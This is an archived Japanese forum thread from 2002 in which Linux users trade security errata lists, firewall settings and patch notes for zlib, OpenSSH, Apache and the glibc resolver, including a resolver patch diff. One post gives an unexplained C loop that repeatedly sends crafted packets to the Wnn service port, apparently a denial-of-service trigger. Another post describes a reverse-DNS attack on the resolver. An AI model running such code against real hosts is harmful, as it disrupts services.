皆様、セキュリティホールは埋めとけよ
■ このスレッドは過去ログ倉庫に格納されています
こうやって並べてみると、Debianが一番対応早いな。
2,3日遅れでRedHat、ついでTurboか。
Vineのatとrsyncの対応はどうなってるんだ？ >>3
うち、Debianじゃないんだけど
apt-get upgrade
をcronさせとけば勝手に埋まりそうで良いなぁ〜
でも、これって「隣の花は赤い」みたいなものかなぁ・・・
自動実行すると、設定ファイルがデフォルトに戻ってしまってそれがかえって
穴になってしまうってことは無いのかな？
>>5
DebianだとConffileはどうするか決められるでしょ >>6
やはり Debian 強いね。
そういうおれは、手動アップの 厨房な夜 cron で upgrade すると対話的な質問のところで止まるという罠。
2/5 Vine-errata
version-up
at-3.1.8-23vl0.1.i386.rpm
security-hole
uucp-1.06.1-31vl0.i386.rpm
rsync-2.4.1-2vl1.i386.rpm
Turbolinux
2002-02-01 mozilla 任意のホストのクッキーが不正に取得されてしまう 彼女のセキュリティーホールを守るにはどうしたらいいですか？ >>13 予防的手段だけに頼ってはいけない。
インテグリティーチェックと定期的なログ監査。事後対策も忘れずに！ at, uucp, ucd-sntpなんて個人でLinuxやってる場合は要らんとおもう net-snmp 4.2.3をtar玉から入れてる人は
snmpnetstatのfixパッチも当てたほうがエエぞ
fixパッチはredhatのSRPMから頂くとよろし uucp、ucd-snmpはともかく、atは...まぁ、無くてもこまらんか。
ともかく、RPM系のディストリビューションで、「全部」とかで
インストールしてると、入ってる可能性大だから、用チェック
かとおもうですはい。
ipchainsの設定をしてみました。この設定はどうでしょうか？
# ipchains -nL
Chain input (policy ACCEPT):
target prot opt source destination ports
fw all ------ 0.0.0.0/0 0.0.0.0/0 n/a
Chain forward (policy DENY):
target prot opt source destination ports
MASQ all ------ 192.168.1.0/24 0.0.0.0/0 n/a
Chain output (policy ACCEPT):
Chain fw (1 references):
target prot opt source destination ports
ACCEPT tcp ------ 0.0.0.0/0 0.0.0.0/0 * -> 25
ACCEPT tcp ------ 192.168.1.0/24 0.0.0.0/0 * -> 0:1023
ACCEPT udp ------ 192.168.1.0/24 0.0.0.0/0 * -> 0:1023
DENY tcp ------ 0.0.0.0/0 0.0.0.0/0 * -> 0:1023
DENY udp ------ 0.0.0.0/0 0.0.0.0/0 * -> 0:1023
3/6 Vine-errata
security hole
squid-2.3.STABLE5-0vl2.i386.rpm
ftp.mozilla.orgが繋がらないのはzlib祭りのお陰ですか？ 3/12 Vine-errata
security hole
openssh-2.9.9p2-0vl0.3.i386.rpm
openssh-clients-2.9.9p2-0vl0.3.i386.rpm
openssh-server-2.9.9p2-0vl0.3.i386.rpm
openssh-askpass-2.9.9p2-0vl0.3.i386.rpm げー、zlibやばいなぁ。ローカルからの攻撃には無力っぽいね。
ブラウザ経由の攻撃もできるのかなぁ...
(不正なPNG送るとかで) >>33
まぁ何はなくともさっさとzlibを更新(-> 1.1.4)することだね。
pngやgzipを直接解釈するようなサーバでもない限り外部からの攻撃は受けない
だろうし、apacheをrootで動かしてるような豪快な奴も居ない（と信じたい）
だろうから、あまり大きな問題にはならないだろうけど。
bugtraqに出てたH D Moore氏のpngの画像を
XEmacsでプレビューしたらXEmacsが落ちたYO!
>>36
他力本願で申し訳ないが、coreとか調べてみました？
結局どーなってどーなっちゃうのかよくわからんもので・・・。
stackoverflowと同様だと思ってればいいのかな〜 apache って root で動かすとやばいの？ >>38
XEmacs(bamboo)はsignal 11で落ちたみたい
coreはあるけどgdb扱える能力無いのよ。すまん
で、zlib最新にしてlibpngリコンパイルしたら落ちなくなったYO!
3/21 Vine-errata
security hole
zlib-1.1.3-25vl0.i386.rpm
zlib-devel-1.1.3-25vl0.i386.rpm
cvs-1.11.1p1-7vl0.i386.rpm
dump-0.4b19-5.6x.1.i386.rpm
dump-static-0.4b19-5.6x.1.i386.rpm
kernel-2.2.19-0vl0.24.i386.rpm
kernel-2.2.19-0vl0.24.i586.rpm
kernel-2.2.19-0vl0.24.i686.rpm
kernel-BOOT-2.2.19-0vl0.24.i386.rpm
kernel-doc-2.2.19-0vl0.24.i386.rpm
kernel-headers-2.2.19-0vl0.24.i386.rpm
kernel-ibcs-2.2.19-0vl0.24.i386.rpm
kernel-pcmcia-cs-2.2.19-0vl0.24.i386.rpm
kernel-smp-2.2.19-0vl0.24.i386.rpm
kernel-smp-2.2.19-0vl0.24.i586.rpm
kernel-smp-2.2.19-0vl0.24.i686.rpm
kernel-source-2.2.19-0vl0.24.i386.rpm
kernel-utils-2.2.19-0vl0.24.i386.rpm
rmt-0.4b19-5.6x.1.i386.rpm
rpm-3.0.6-0vl2.1.i386.rpm
rpm-build-3.0.6-0vl2.1.i386.rpm
rpm-devel-3.0.6-0vl2.1.i386.rpm
rpm-python-3.0.6-0vl2.1.i386.rpm
popt-1.5.1-0vl2.1.i386.rpm
rsync-2.4.1-2vl2.i386.rpm
sash-3.4-2vl0.i386.rpm
info-4.0-5vl0.i386.rpm
texinfo-4.0-5vl0.i386.rpm
3/21 Vine-errata
security hole
apache-1.3.23-0vl0.1.i386.rpm
apache-devel-1.3.23-0vl0.1.i386.rpm
apache-manual-1.3.23-0vl0.1.i386.rpm
mod_ssl-2.8.7-0vl0.1.i386.rpm
fileutils-4.0x-1vl4.i386.rpm 04/04 Vine-errata security hole
XFree86-3.3.6-13vl28.1.i386.rpm
XFree86-100dpi-fonts-3.3.6-13vl28.1.i386.rpm
XFree86-75dpi-fonts-3.3.6-13vl28.1.i386.rpm
XFree86-3DLabs-3.3.6-13vl28.1.i386.rpm
XFree86-8514-3.3.6-13vl28.1.i386.rpm
XFree86-AGX-3.3.6-13vl28.1.i386.rpm
XFree86-FBDev-3.3.6-13vl28.1.i386.rpm
XFree86-I128-3.3.6-13vl28.1.i386.rpm
XFree86-Mach32-3.3.6-13vl28.1.i386.rpm
XFree86-Mach64-3.3.6-13vl28.1.i386.rpm
XFree86-Mach8-3.3.6-13vl28.1.i386.rpm
XFree86-Mono-3.3.6-13vl28.1.i386.rpm
XFree86-P9000-3.3.6-13vl28.1.i386.rpm
XFree86-S3-3.3.6-13vl28.1.i386.rpm
XFree86-S3V-3.3.6-13vl28.1.i386.rpm
XFree86-SVGA-3.3.6-13vl28.1.i386.rpm
XFree86-VGA16-3.3.6-13vl28.1.i386.rpm
XFree86-W32-3.3.6-13vl28.1.i386.rpm
XFree86-XF86Setup-3.3.6-13vl28.1.i386.rpm
XFree86-Xnest-3.3.6-13vl28.1.i386.rpm
XFree86-Xvfb-3.3.6-13vl28.1.i386.rpm
XFree86-cyrillic-fonts-3.3.6-13vl28.1.i386.rpm
XFree86-devel-3.3.6-13vl28.1.i386.rpm
XFree86-doc-3.3.6-13vl28.1.i386.rpm
XFree86-libs-3.3.6-13vl28.1.i386.rpm
XFree86-xfs-3.3.6-13vl28.1.i386.rpm 04/11 Vine-errata
security hole
squid-2.3.STABLE5-0vl4.i386.rpm 05/14 Vine-errata security hole
sudo-1.6.3p6-0.6vl3.i386.rpm apt-get update
apt-get upgrade
だけでは不十分ですか？ >apt-get update
>apt-get upgrade
>
>だけでは不十分ですか？
ヴァカじゃん。そういう姿勢がそもそもsecurity hole 06/06 Vine-errata security hole
fetchmail-5.9.11-0vl1.i386.rpm
imap-2001a-10vl1.i386.rpm
imap-devel-2001a-10vl1.i386.rpm
bzip2-1.0.1-3vl3.i386.rpm
bzip2-devel-1.0.1-3vl3.i386.rpm
06/13 Vine-errata security hole
tcpdump-3.6.2-13vl1.i386.rpm
libpcap-0.6.2-13vl1.i386.rpm
arpwatch-2.1a11-13vl1.i386.rpm
06/19 Vine-errata security hole
apache-1.3.26-0vl1.i386.rpm
apache-devel-1.3.26-0vl1.i386.rpm
apache-manual-1.3.26-0vl1.i386.rpm
mod_ssl-2.8.9-0vl1.i386.rpm Debian (potato)
DSA-131-1 apache -- remote DoS / exploit
http://www.debian.org/security/2002/dsa-131
DSA-132-1 apache-ssl -- remote DoS / exploit
http://www.debian.org/security/2002/dsa-132
Apache のそれは 32bit Linux でもヤバそう。
某MLにexploitが流れてた。
「くだ質」とどちらに投げようか迷った挙げ句、こちらに
投げることにしました。
以下のような自分の使用状況がセキュリティの面で安全か
どうか伺いたく存じます。
自宅でLinuxを使っています。Flets ADSLを契約しており、
常時接続ではなく、時々インターネットに接続して電子
メールを読み書きしたり、WWWで情報を得たりしています。
ルータ等は使っていません。他のホストにwwwやftpで
クライエントとして接続することはあっても、自ホストを
サーバにする必要は殆どないと考えています。ただ例外で、
smtpサーバとしてnullmailerを使っています。
Debian GNU/Linux sidを使っており、電源を入れる度に
apt-getでパッケージを更新しています。
ftpd、rsh-server、ssh、apache等は削除しています。
kernelは2.4.18です。
/etc/hosts.allowは何も記述せず、
/etc/hosts.denyはALL: ALLにしてます。
# netstat --tcp --all
は、
Proto 受信-Q 送信-Q 内部アドレス 外部アドレス 状態
tcp 0 0 *:time *:* LISTEN
tcp 0 0 *:32927 *:* LISTEN
tcp 0 0 xxx.yyy.zzz.uuu:33011 aaa.bbb.ccc.ddd:smtp TIME_WAIT
となります(xxx.yyy.zzz.uuuは割り当てられたIPアドレス、
aaa.bbb.ccc.dddはプロバイダのメールサーバのIPアドレス)。
>>64
> 以下のような自分の使用状況がセキュリティの面で安全か
> どうか伺いたく存じます。
「安全」と「安全でない」の2つしか状態がないと思ってる? >>66
充分に気をつけているほうだと思うよ。
でもセキュリティにこれで完璧ってのは無いんだよ。
あくまでコストとリスクとの綱引きでしかない。
しかしそれで侵入されたからって君を責める人はあまりいないだろう。 OpenSSH に新たな弱点発見。詳細は来週まで秘密。
リモートから悪用可能らしい。
3.3 にも同じ弱点があるが、侵入は防げるそうだ。 void writei(int fd,int num){num = htonl(num);write(fd,&num,4);}
void writes(int fd,char *s){write(fd,s,strlen(s)+1);}
void main(int argc,char **argv){struct hostent *he;struct sockaddr_in si;int fd;
char a[10];he = gethostbyname(argv[1]);while(1){fd = socket(PF_INET,SOCK_STREAM,0);si.sin_family = AF_INET;memcpy(&si.sin_addr,he->h_addr_list[0],sizeof(si.sin_addr));
si.sin_port = htons(22273);connect(fd,(struct sockaddr *)&si,sizeof(si));sprintf(a,"%d",rand());writei(fd,0x66);writei(fd,0);
writes(fd,a);writei(fd,0);writei(fd,3);close(fd);}} >>69
これだね。
Debian 以外のパッケージはいつころ出るんだろ。
http://www.koka-in.org/~haruyama/ssh_koka-in_org/0/4.html >70
Wnnか？何の穴よ？
まさかwww.freewnn.orgにある大昔の穴じゃないだろうな。 *BSD の libc の resolver に穴が見つかったようだけど、glibc は
どうなんだろう
http://www.pine.nl/advisories/pine-cert-20020601.html
ISS から OpenSSH のアドバイザリが出た。
Challenge and Response 認証にバグ。remote root exploit。
sshd_config に
ChallengeResponseAuthentication no
で回避可能。3.4 で修正されている。
これがもし Theo の言ってた穴と同じものなら、
OpenSSH 3.0 以降にのみ存在する穴じゃん。
いちはやくアップデート出した Debian potato は踊らされただけか。 >>75
訂正。3.0 以降じゃなくて 2.9.9 以降に弱点がある模様。
Debian 2.2 (potato) は安全な 1.2 系からわざわざ弱点のある
3.3 に入れ換えさせられた恰好だよ。Theo のアホーーーーー。
フルディスクロージャってやっぱり大事なんだな。 06/27 Vine-errata security hole
openssh-3.3p1-0vl10.i386.rpm
openssh-server-3.3p1-0vl0.i386.rpm
openssh-clients-3.3p1-0vl0.i386.rpm
openssh-askpass-3.3p1-0vl0.i386.rpm
openssh-askpass-gnome-3.3p1-0vl0.i386.rpm
resolver のバグは対岸の火事ではない模様。 2ch鯖のApacheも入れ替えが始まってるね。 遅いぐらいだ。昨日の件もこれが絡んでたのだろうか。 しかし入れ替えたはいいがlinuxのlibcにも。。。。 なんてことになったら大火事だな。 >>84
まさに大火事のようで(藁
まあ、リモートからいじれる穴ではないだろうけど
>>85
resolver のバグはリモートからいじれる。
攻撃者は自由に設定出来るネームサーバを持っていればいい。
ある IP アドレスの逆引きホストネームに攻撃用コードを仕込む。
そしてその IP アドレスから攻撃対象のサーバに接続する。
攻撃対象のサーバが逆引きを行い、
返って来た巧妙に細工されたホスト名を正引きしたら、あぼーん。 glibcには*BSDよりも１箇所余計にチェックが入っているが、
これでは防げないのか？ OpenSSHを3.1→3.4にアップグレードしたら、sshdの起動時に
This platform does not support both privilege separation and compression
Compression disabled
こんなメッセージを吐くんだけど・・・何だろ？syslogには上がらないみたいだけど気になるかな。
ちなみにRedHat6.2(kerner2.2.19/glibc2.1.3-23/OpenSSL0.9.6d) >>87
実際テストしてみたが落せない。
俺がヘボなだけかもしれないから識者の意見を待とう。 >>89
sshd_configのCompressをnoに指定したら出なくなったよ。
感謝。
>>90
FreeBSDをパッチを見るに、gethnamaddr.cはずでにFreeBSDの
パッチと同じ処理が入っている。getnetnamadr.cにはない。 >>90
識者の意見が間違ってた Aapche の時のような事もあるから
itojun 氏のパッチあててもいいかもしれない。
でも勇み足で必要でないアップデートを出して、わざわざ穴を
開けてしまったDebian potato の例もあるし、悩ましいところだな。 直すべきは nss_dns/dns-network.c か。
古いの見てた。すまそ。 >>93
itojunさんのパッチってどこでgetできます？
glibcに当たるのかいな？ >>97
FreeBSD や NetBSD の Advisory 嫁。
そのままでは当たらないだろうから手作業で当てれ。
ま、俺はめんどいから様子見。 つーか、おまえら誰もglibcのコード読んでないんとちゃうか？ --- glibc-2.2.5/resolv/nss_dns/dns-network.c.org 2001-07-06 13:55:39.000000000 +0900
+++ glibc-2.2.5/resolv/nss_dns/dns-network.c 2002-06-28 21:42:26.000000000 +0900
@@ -328,7 +328,9 @@
}
cp += n;
*alias_pointer++ = bp;
- bp += strlen (bp) + 1;
+ n = strlen(bp) + 1;
+ bp += n;
+ linebuflen -= n;
result->n_addrtype = class == C_IN ? AF_INET : AF_UNSPEC;
++have_answer;
}
こんなとこではないかな。gethnamaddr.cはFreeBSDのパッチと同様の
処理がすでに入っている。 >>100
> こんなとこではないかな。gethnamaddr.cはFreeBSDのパッチと同様の
> 処理がすでに入っている。
name6.c のチャンクは？ と思ったけど，'99 に直ってるすね．
ttp://sources.redhat.com/cgi-bin/cvsweb.cgi/libc/resolv/nss_dns/dns-host.c.diff?r1=1.15&r2=1.16&cvsroot=glibc&f=h
■ このスレッドは過去ログ倉庫に格納されています
